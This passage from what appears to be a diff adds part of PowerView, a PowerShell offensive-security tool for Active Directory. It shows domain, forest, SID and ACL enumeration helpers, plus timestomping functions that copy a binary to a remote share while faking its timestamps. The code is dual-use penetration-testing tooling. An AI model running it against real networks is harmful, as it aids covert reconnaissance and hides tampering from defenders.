$StructFields, + + [Reflection.Emit.PackingSize] + $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, + + [Switch] + $ExplicitLayout + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, + Class, + Public, + Sealed, + BeforeFieldInit' + + if ($ExplicitLayout) + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout + } + else + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout + } + + $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) + $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + + $Fields = New-Object Hashtable[]($StructFields.Count) + + # Sort each field according to the orders specified + # Unfortunately, PSv2 doesn't have the luxury of the + # hashtable [Ordered] accelerator. + ForEach ($Field in $StructFields.Keys) + { + $Index = $StructFields[$Field]['Position'] + $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} + } + + ForEach ($Field in $Fields) + { + $FieldName = $Field['FieldName'] + $FieldProp = $Field['Properties'] + + $Offset = $FieldProp['Offset'] + $Type = $FieldProp['Type'] + $MarshalAs = $FieldProp['MarshalAs'] + + $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') + + if ($MarshalAs) + { + $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) + if ($MarshalAs[1]) + { + $Size = $MarshalAs[1] + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, + $UnmanagedType, $SizeConst, @($Size)) + } + else + { + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) + } + + $NewField.SetCustomAttribute($AttribBuilder) + } + + if ($ExplicitLayout) { $NewField.SetOffset($Offset) } + } + + # Make the struct aware of its own size. + # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! + $SizeMethod = $StructBuilder.DefineMethod('GetSize', + 'Public, Static', + [Int], + [Type[]] @()) + $ILGenerator = $SizeMethod.GetILGenerator() + # Thanks for the help, Jason Shirk! + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) + + # Allow for explicit casting from an IntPtr + # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! + $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', + 'PrivateScope, Public, Static, HideBySig, SpecialName', + $StructBuilder, + [Type[]] @([IntPtr])) + $ILGenerator2 = $ImplicitConverter.GetILGenerator() + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) + + $StructBuilder.CreateType() +} + + +######################################################## +# +# Misc. helpers +# +######################################################## + +function Export-PowerViewCSV { +<# + .SYNOPSIS + + This function exports to a .csv in a thread-safe manner. + + Based partially on Dmitry Sotnikov's Export-CSV code + at http://poshcode.org/1590 + + .LINK + + http://poshcode.org/1590 + http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/ +#> + Param( + [Parameter(Mandatory=$True, ValueFromPipeline=$True, + ValueFromPipelineByPropertyName=$True)] + [System.Management.Automation.PSObject] + $InputObject, + + [Parameter(Mandatory=$True, Position=0)] + [Alias('PSPath')] + [String] + $OutFile + ) + + process { + + $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation + + # mutex so threaded code doesn't stomp on the output file + $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'; + $Null = $Mutex.WaitOne() + + if (Test-Path -Path $OutFile) { + # hack to skip the first line of output if the file already exists + $ObjectCSV | Foreach-Object {$Start=$True}{if ($Start) {$Start=$False} else {$_}} | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile + } + else { + $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile + } + + $Mutex.ReleaseMutex() + } +} + + +# stolen directly from http://obscuresecurity.blogspot.com/2014/05/touch.html +function Set-MacAttribute { +<# + .SYNOPSIS + + Sets the modified, accessed and created (Mac) attributes for a file based on another file or input. + + PowerSploit Function: Set-MacAttribute + Author: Chris Campbell (@obscuresec) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + Version: 1.0.0 + + .DESCRIPTION + + Set-MacAttribute sets one or more Mac attributes and returns the new attribute values of the file. + + .EXAMPLE + + PS C:\> Set-MacAttribute -FilePath c:\test\newfile -OldFilePath c:\test\oldfile + + .EXAMPLE + + PS C:\> Set-MacAttribute -FilePath c:\demo\test.xt -All "01/03/2006 12:12 pm" + + .EXAMPLE + + PS C:\> Set-MacAttribute -FilePath c:\demo\test.txt -Modified "01/03/2006 12:12 pm" -Accessed "01/03/2006 12:11 pm" -Created "01/03/2006 12:10 pm" + + .LINK + + http://www.obscuresec.com/2014/05/touch.html +#> + [CmdletBinding(DefaultParameterSetName = 'Touch')] + Param ( + + [Parameter(Position = 1,Mandatory = $True)] + [ValidateScript({Test-Path -Path $_ })] + [String] + $FilePath, + + [Parameter(ParameterSetName = 'Touch')] + [ValidateScript({Test-Path -Path $_ })] + [String] + $OldFilePath, + + [Parameter(ParameterSetName = 'Individual')] + [DateTime] + $Modified, + + [Parameter(ParameterSetName = 'Individual')] + [DateTime] + $Accessed, + + [Parameter(ParameterSetName = 'Individual')] + [DateTime] + $Created, + + [Parameter(ParameterSetName = 'All')] + [DateTime] + $AllMacAttributes + ) + + #Helper function that returns an object with the MAC attributes of a file. + function Get-MacAttribute { + + param($OldFileName) + + if (!(Test-Path -Path $OldFileName)) {Throw 'File Not Found'} + $FileInfoObject = (Get-Item $OldFileName) + + $ObjectProperties = @{'Modified' = ($FileInfoObject.LastWriteTime); + 'Accessed' = ($FileInfoObject.LastAccessTime); + 'Created' = ($FileInfoObject.CreationTime)}; + $ResultObject = New-Object -TypeName PSObject -Property $ObjectProperties + Return $ResultObject + } + + $FileInfoObject = (Get-Item -Path $FilePath) + + if ($PSBoundParameters['AllMacAttributes']) { + $Modified = $AllMacAttributes + $Accessed = $AllMacAttributes + $Created = $AllMacAttributes + } + + if ($PSBoundParameters['OldFilePath']) { + $CopyFileMac = (Get-MacAttribute $OldFilePath) + $Modified = $CopyFileMac.Modified + $Accessed = $CopyFileMac.Accessed + $Created = $CopyFileMac.Created + } + + if ($Modified) {$FileInfoObject.LastWriteTime = $Modified} + if ($Accessed) {$FileInfoObject.LastAccessTime = $Accessed} + if ($Created) {$FileInfoObject.CreationTime = $Created} + + Return (Get-MacAttribute $FilePath) +} + + +function Copy-ClonedFile { +<# + .SYNOPSIS + + Copy a source file to a destination location, matching any MAC + properties as appropriate. + + .PARAMETER SourceFile + + Source file to copy. + + .PARAMETER DestFile + + Destination file path to copy file to. + + .EXAMPLE + + PS C:\> Copy-ClonedFile -SourceFile program.exe -DestFile \\WINDOWS7\tools\program.exe + + Copy the local program.exe binary to a remote location, matching the MAC properties of the remote exe. + + .LINK + + http://obscuresecurity.blogspot.com/2014/05/touch.html +#> + + param( + [Parameter(Mandatory = $True)] + [String] + [ValidateNotNullOrEmpty()] + $SourceFile, + + [Parameter(Mandatory = $True)] + [String] + [ValidateNotNullOrEmpty()] + $DestFile + ) + + # clone the MAC properties + Set-MacAttribute -FilePath $SourceFile -OldFilePath $DestFile + + # copy the file off + Copy-Item -Path $SourceFile -Destination $DestFile +} + + +function Get-IPAddress { +<# + .SYNOPSIS + + This function resolves a given hostename to its associated IPv4 + address. If no hostname is provided, it defaults to returning + the IP address of the local host the script be being run on. + + .EXAMPLE + + PS C:\> Get-IPAddress -ComputerName SERVER + + Return the IPv4 address of 'SERVER' +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = '' + ) + process { + try { + # get the IP resolution of this specified hostname + $Results = @(([Net.Dns]::GetHostEntry($ComputerName)).AddressList) + + if ($Results.Count -ne 0) { + ForEach ($Result in $Results) { + # make sure the returned result is IPv4 + if ($Result.AddressFamily -eq 'InterNetwork') { + $Result.IPAddressToString + } + } + } + } + catch { + Write-Verbose -Message 'Could not resolve host to an IP Address.' + } + } + end {} +} + + +function Convert-NameToSid { +<# + .SYNOPSIS + + Converts a given user/group name to a security identifier (SID). + + .PARAMETER ObjectName + + The user/group name to convert, can be 'user' or 'DOMAIN\user' format. + + .PARAMETER Domain + + Specific domain for the given user account, defaults to the current domain. + + .EXAMPLE + + PS C:\> Convert-NameToSid 'DEV\dfm' +#> + [CmdletBinding()] + param( + [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [String] + [Alias('Name')] + $ObjectName, + + [String] + $Domain = (Get-NetDomain).Name + ) + + process { + + $ObjectName = $ObjectName -replace "/","\" + + if($ObjectName.contains("\")) { + # if we get a DOMAIN\user format, auto convert it + $Domain = $ObjectName.split("\")[0] + $ObjectName = $ObjectName.split("\")[1] + } + + try { + $Obj = (New-Object System.Security.Principal.NTAccount($Domain,$ObjectName)) + $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value + } + catch { + Write-Verbose "Invalid object/name: $Domain\$ObjectName" + $Null + } + } +} + + +function Convert-SidToName { +<# + .SYNOPSIS + + Converts a security identifier (SID) to a group/user name. + + .PARAMETER SID + + The SID to convert. + + .EXAMPLE + + PS C:\> Convert-SidToName S-1-5-21-2620891829-2411261497-1773853088-1105 +#> + [CmdletBinding()] + param( + [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [String] + $SID + ) + + process { + try { + $SID2 = $SID.trim('*') + + # try to resolve any built-in SIDs first + # from https://support.microsoft.com/en-us/kb/243330 + Switch ($SID2) + { + 'S-1-0' { 'Null Authority' } + 'S-1-0-0' { 'Nobody' } + 'S-1-1' { 'World Authority' } + 'S-1-1-0' { 'Everyone' } + 'S-1-2' { 'Local Authority' } + 'S-1-2-0' { 'Local' } + 'S-1-2-1' { 'Console Logon ' } + 'S-1-3' { 'Creator Authority' } + 'S-1-3-0' { 'Creator Owner' } + 'S-1-3-1' { 'Creator Group' } + 'S-1-3-2' { 'Creator Owner Server' } + 'S-1-3-3' { 'Creator Group Server' } + 'S-1-3-4' { 'Owner Rights' } + 'S-1-4' { 'Non-unique Authority' } + 'S-1-5' { 'NT Authority' } + 'S-1-5-1' { 'Dialup' } + 'S-1-5-2' { 'Network' } + 'S-1-5-3' { 'Batch' } + 'S-1-5-4' { 'Interactive' } + 'S-1-5-6' { 'Service' } + 'S-1-5-7' { 'Anonymous' } + 'S-1-5-8' { 'Proxy' } + 'S-1-5-9' { 'Enterprise Domain Controllers' } + 'S-1-5-10' { 'Principal Self' } + 'S-1-5-11' { 'Authenticated Users' } + 'S-1-5-12' { 'Restricted Code' } + 'S-1-5-13' { 'Terminal Server Users' } + 'S-1-5-14' { 'Remote Interactive Logon' } + 'S-1-5-15' { 'This Organization ' } + 'S-1-5-17' { 'This Organization ' } + 'S-1-5-18' { 'Local System' } + 'S-1-5-19' { 'NT Authority' } + 'S-1-5-20' { 'NT Authority' } + 'S-1-5-80-0' { 'All Services ' } + 'S-1-5-32-544' { 'BUILTIN\Administrators' } + 'S-1-5-32-545' { 'BUILTIN\Users' } + 'S-1-5-32-546' { 'BUILTIN\Guests' } + 'S-1-5-32-547' { 'BUILTIN\Power Users' } + 'S-1-5-32-548' { 'BUILTIN\Account Operators' } + 'S-1-5-32-549' { 'BUILTIN\Server Operators' } + 'S-1-5-32-550' { 'BUILTIN\Print Operators' } + 'S-1-5-32-551' { 'BUILTIN\Backup Operators' } + 'S-1-5-32-552' { 'BUILTIN\Replicators' } + 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' } + 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' } + 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' } + 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' } + 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' } + 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' } + 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' } + 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' } + 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' } + 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' } + 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' } + 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' } + 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' } + 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' } + 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' } + 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' } + 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' } + 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' } + Default { + $Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2)) + $Obj.Translate( [System.Security.Principal.NTAccount]).Value + } + } + } + catch { + # Write-Warning "Invalid SID: $SID" + $SID + } + } +} + + +function Convert-NT4toCanonical { +<# + .SYNOPSIS + + Converts a user/group NT4 name (i.e. dev/john) to canonical format. + + Based on Bill Stewart's code from this article: + http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats + + .PARAMETER ObjectName + + The user/group name to convert, needs to be in 'DOMAIN\user' format. + + .EXAMPLE + + PS C:\> Convert-NT4toCanonical -ObjectName "dev\dfm" + + Returns "dev.testlab.local/Users/Dave" + + .LINK + + http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats +#> + [CmdletBinding()] + param( + [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [String] + $ObjectName + ) + + process { + + $ObjectName = $ObjectName -replace "/","\" + + if($ObjectName.contains("\")) { + # if we get a DOMAIN\user format, try to extract the domain + $Domain = $ObjectName.split("\")[0] + } + + # Accessor functions to simplify calls to NameTranslate + function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { + $Output = $Object.GetType().InvokeMember($Method, "InvokeMethod", $Null, $Object, $Parameters) + if ( $Output ) { $Output } + } + function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { + [Void] $Object.GetType().InvokeMember($Property, "SetProperty", $Null, $Object, $Parameters) + } + + $Translate = New-Object -ComObject NameTranslate + + try { + Invoke-Method $Translate "Init" (1, $Domain) + } + catch [System.Management.Automation.MethodInvocationException] { + Write-Debug "Error with translate init in Convert-NT4toCanonical: $_" + } + + Set-Property $Translate "ChaseReferral" (0x60) + + try { + Invoke-Method $Translate "Set" (3, $ObjectName) + (Invoke-Method $Translate "Get" (2)) + } + catch [System.Management.Automation.MethodInvocationException] { + Write-Debug "Error with translate Set/Get in Convert-NT4toCanonical: $_" + } + } +} + + +function Convert-CanonicaltoNT4 { +<# + .SYNOPSIS + + Converts a user@fqdn to NT4 format. + + .PARAMETER ObjectName + + The user/group name to convert, needs to be in 'DOMAIN\user' format. + + .LINK + + http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats +#> + + [CmdletBinding()] + param( + [String] $ObjectName + ) + + $Domain = ($ObjectName -split "@")[1] + + $ObjectName = $ObjectName -replace "/","\" + + # Accessor functions to simplify calls to NameTranslate + function Invoke-Method([__ComObject] $object, [String] $method, $parameters) { + $output = $object.GetType().InvokeMember($method, "InvokeMethod", $NULL, $object, $parameters) + if ( $output ) { $output } + } + function Set-Property([__ComObject] $object, [String] $property, $parameters) { + [Void] $object.GetType().InvokeMember($property, "SetProperty", $NULL, $object, $parameters) + } + + $Translate = New-Object -comobject NameTranslate + + try { + Invoke-Method $Translate "Init" (1, $Domain) + } + catch [System.Management.Automation.MethodInvocationException] { } + + Set-Property $Translate "ChaseReferral" (0x60) + + try { + Invoke-Method $Translate "Set" (5, $ObjectName) + (Invoke-Method $Translate "Get" (3)) + } + catch [System.Management.Automation.MethodInvocationException] { $_ } +} + + +function Get-Proxy { +<# + .SYNOPSIS + + Enumerates the proxy server and WPAD conents for the current user. + + .PARAMETER ComputerName + + The computername to enumerate proxy settings on, defaults to local host. + + .EXAMPLE + + PS C:\> Get-Proxy + + Returns the current proxy settings. +#> + param( + [Parameter(ValueFromPipeline=$True)] + [ValidateNotNullOrEmpty()] + [String] + $ComputerName = $ENV:COMPUTERNAME + ) + + process { + try { + $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName) + $RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings") + $ProxyServer = $RegKey.GetValue('ProxyServer') + $AutoConfigURL = $RegKey.GetValue('AutoConfigURL') + + if($AutoConfigURL -and ($AutoConfigURL -ne "")) { + try { + $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL) + } + catch { + $Wpad = "" + } + } + else { + $Wpad = "" + } + + if($ProxyServer -or $AutoConfigUrl) { + + $Properties = @{ + 'ProxyServer' = $ProxyServer + 'AutoConfigURL' = $AutoConfigURL + 'Wpad' = $Wpad + } + + New-Object -TypeName PSObject -Property $Properties + } + else { + Write-Warning "No proxy settings found for $ComputerName" + } + } + catch { + Write-Warning "Error enumerating proxy settings for $ComputerName" + } + } +} + + +function Get-PathAcl { + + [CmdletBinding()] + param( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [string] + $Path, + + [Switch] + $Recurse + ) + + begin { + + function Convert-FileRight { + + # From http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights + + [CmdletBinding()] + param( + [Int] + $FSR + ) + + $AccessMask = @{ + [uint32]'0x80000000' = 'GenericRead' + [uint32]'0x40000000' = 'GenericWrite' + [uint32]'0x20000000' = 'GenericExecute' + [uint32]'0x10000000' = 'GenericAll' + [uint32]'0x02000000' = 'MaximumAllowed' + [uint32]'0x01000000' = 'AccessSystemSecurity' + [uint32]'0x00100000' = 'Synchronize' + [uint32]'0x00080000' = 'WriteOwner' + [uint32]'0x00040000' = 'WriteDAC' + [uint32]'0x00020000' = 'ReadControl' + [uint32]'0x00010000' = 'Delete' + [uint32]'0x00000100' = 'WriteAttributes' + [uint32]'0x00000080' = 'ReadAttributes' + [uint32]'0x00000040' = 'DeleteChild' + [uint32]'0x00000020' = 'Execute/Traverse' + [uint32]'0x00000010' = 'WriteExtendedAttributes' + [uint32]'0x00000008' = 'ReadExtendedAttributes' + [uint32]'0x00000004' = 'AppendData/AddSubdirectory' + [uint32]'0x00000002' = 'WriteData/AddFile' + [uint32]'0x00000001' = 'ReadData/ListDirectory' + } + + $SimplePermissions = @{ + [uint32]'0x1f01ff' = 'FullControl' + [uint32]'0x0301bf' = 'Modify' + [uint32]'0x0200a9' = 'ReadAndExecute' + [uint32]'0x02019f' = 'ReadAndWrite' + [uint32]'0x020089' = 'Read' + [uint32]'0x000116' = 'Write' + } + + $Permissions = @() + + # get simple permission + $Permissions += $SimplePermissions.Keys | % { + if (($FSR -band $_) -eq $_) { + $SimplePermissions[$_] + $FSR = $FSR -band (-not $_) + } + } + + # get remaining extended permissions + $Permissions += $AccessMask.Keys | + ? { $FSR -band $_ } | + % { $AccessMask[$_] } + + ($Permissions | ?{$_}) -join "," + } + } + + process { + + try { + $ACL = Get-Acl -Path $Path + + $ACL.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) | ForEach-Object { + + $Names = @() + if ($_.IdentityReference -match '^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+') { + $Object = Get-ADObject -SID $_.IdentityReference + $Names = @() + $SIDs = @($Object.objectsid) + + if ($Recurse -and ($Object.samAccountType -eq "268435456")) { + $SIDs += Get-NetGroupMember -SID $Object.objectsid | Select-Object -ExpandProperty MemberSid + } + + $SIDs | ForEach-Object { + $Names += ,@($_, (Convert-SidToName $_)) + } + } + else { + $Names += ,@($_.IdentityReference.Value, (Convert-SidToName $_.IdentityReference.Value)) + } + + ForEach($Name in $Names) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'Path' $Path + $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__) + $Out | Add-Member Noteproperty 'IdentityReference' $Name[1] + $Out | Add-Member Noteproperty 'IdentitySID' $Name[0] + $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType + $Out + } + } + } + catch { + Write-Warning $_ + } + } +} + + +function Get-NameField { + # function that attempts to extract the appropriate field name + # from various passed objects. This is so functions can have + # multiple types of objects passed on the pipeline. + [CmdletBinding()] + param( + [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + $Object + ) + process { + if($Object) { + if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) { + # objects from Get-NetComputer + $Object.dnshostname + } + elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) { + # objects from Get-NetDomainController + $Object.name + } + else { + # strings and catch alls + $Object + } + } + else { + return $Null + } + } +} + + +function Convert-LDAPProperty { + # helper to convert specific LDAP property result fields + param( + [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [ValidateNotNullOrEmpty()] + $Properties + ) + + $ObjectProperties = @{} + + $Properties.PropertyNames | ForEach-Object { + if (($_ -eq "objectsid") -or ($_ -eq "sidhistory")) { + # convert the SID to a string + $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0],0)).Value + } + elseif($_ -eq "objectguid") { + # convert the GUID to a string + $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid + } + elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") -or ($_ -eq "lastlogoff") -or ($_ -eq "badPasswordTime") ) { + # convert timestamps + if ($Properties[$_][0] -is [System.MarshalByRefObject]) { + # if we have a System.__ComObject + $Temp = $Properties[$_][0] + [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) + } + else { + $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) + } + } + elseif($Properties[$_][0] -is [System.MarshalByRefObject]) { + # convert misc com objects + $Prop = $Properties[$_] + try { + $Temp = $Prop[$_][0] + Write-Verbose $_ + [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) + } + catch { + $ObjectProperties[$_] = $Prop[$_] + } + } + elseif($Properties[$_].count -eq 1) { + $ObjectProperties[$_] = $Properties[$_][0] + } + else { + $ObjectProperties[$_] = $Properties[$_] + } + } + + New-Object -TypeName PSObject -Property $ObjectProperties +} + + + +######################################################## +# +# Domain info functions below. +# +######################################################## + +function Get-DomainSearcher { +<# + .SYNOPSIS + + Helper used by various functions that takes an ADSpath and + domain specifier and builds the correct ADSI searcher object. + + .PARAMETER Domain + + The domain to use for the query, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ADSprefix + + Prefix to set for the searcher (like "CN=Sites,CN=Configuration") + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-DomainSearcher -Domain testlab.local + + .EXAMPLE + + PS C:\> Get-DomainSearcher -Domain testlab.local -DomainController SECONDARY.dev.testlab.local +#> + + [CmdletBinding()] + param( + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [String] + $ADSprefix, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + if(!$Domain) { + $Domain = (Get-NetDomain).name + } + else { + if(!$DomainController) { + try { + # if there's no -DomainController specified, try to pull the primary DC + # to reflect queries through + $DomainController = ((Get-NetDomain).PdcRoleOwner).Name + } + catch { + throw "Get-DomainSearcher: Error in retrieving PDC for current domain" + } + } + } + + $SearchString = "LDAP://" + + if($DomainController) { + $SearchString += $DomainController + "/" + } + if($ADSprefix) { + $SearchString += $ADSprefix + "," + } + + if($ADSpath) { + if($ADSpath -like "GC://*") { + # if we're searching the global catalog + $DistinguishedName = $AdsPath + $SearchString = "" + } + else { + if($ADSpath -like "LDAP://*") { + $ADSpath = $ADSpath.Substring(7) + } + $DistinguishedName = $ADSpath + } + } + else { + $DistinguishedName = "DC=$($Domain.Replace('.', ',DC='))" + } + + $SearchString += $DistinguishedName + Write-Verbose "Get-DomainSearcher search string: $SearchString" + + $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) + $Searcher.PageSize = $PageSize + $Searcher +} + + +function Get-NetDomain { +<# + .SYNOPSIS + + Returns a given domain object. + + .PARAMETER Domain + + The domain name to query for, defaults to the current domain. + + .EXAMPLE + + PS C:\> Get-NetDomain -Domain testlab.local + + .LINK + + http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Domain + ) + + process { + if($Domain) { + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." + $Null + } + } + else { + [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + } +} + + +function Get-NetForest { +<# + .SYNOPSIS + + Returns a given forest object. + + .PARAMETER Forest + + The forest name to query for, defaults to the current domain. + + .EXAMPLE + + PS C:\> Get-NetForest -Forest external.domain +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Forest + ) + + process { + if($Forest) { + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) + try { + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + } + catch { + Write-Debug "The specified forest $Forest does not exist, could not be contacted, or there isn't an existing trust." + $Null + } + } + else { + # otherwise use the current forest + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + } + + if($ForestObject) { + # get the SID of the forest root + $ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value + $Parts = $ForestSid -Split "-" + $ForestSid = $Parts[0..$($Parts.length-2)] -join "-" + $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid + $ForestObject + } + } +} + + +function Get-NetForestDomain { +<# + .SYNOPSIS + + Return all domains for a given forest. + + .PARAMETER Forest + + The forest name to query domain for. + + .PARAMETER Domain + + Return domains that match this term/wildcard. + + .EXAMPLE + + PS C:\> Get-NetForestDomain + + .EXAMPLE + + PS C:\> Get-NetForestDomain -Forest external.local +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Forest, + + [String] + $Domain + ) + + process { + if($Domain) { + # try to detect a wild card so we use -like + if($Domain.Contains('*')) { + (Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name -like $Domain} + } + else { + # match the exact domain name if there's not a wildcard + (Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name.ToLower() -eq $Domain.ToLower()} + } + } + else { + # return all domains + $ForestObject = Get-NetForest -Forest $Forest + if($ForestObject) { + $ForestObject.Domains + } + } + } +} + + +function Get-NetForestCatalog { +<# + .SYNOPSIS + + Return all global catalogs for a given forest. + + .PARAMETER Forest + + The forest name to query domain for. + + .EXAMPLE + + PS C:\> Get-NetForestCatalog +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Forest + ) + + process { + $ForestObject = Get-NetForest -Forest $Forest + if($ForestObject) { + $ForestObject.FindAllGlobalCatalogs() + } + } +} + + +function Get-NetDomainController { +<# + .SYNOPSIS + + Return the current domain controllers for the active domain. + + .PARAMETER Domain + + The domain to query for domain controllers, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER LDAP + + Switch. Use LDAP queries to determine the domain controllers. + + .EXAMPLE + + PS C:\> Get-NetDomainController -Domain test +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Domain, 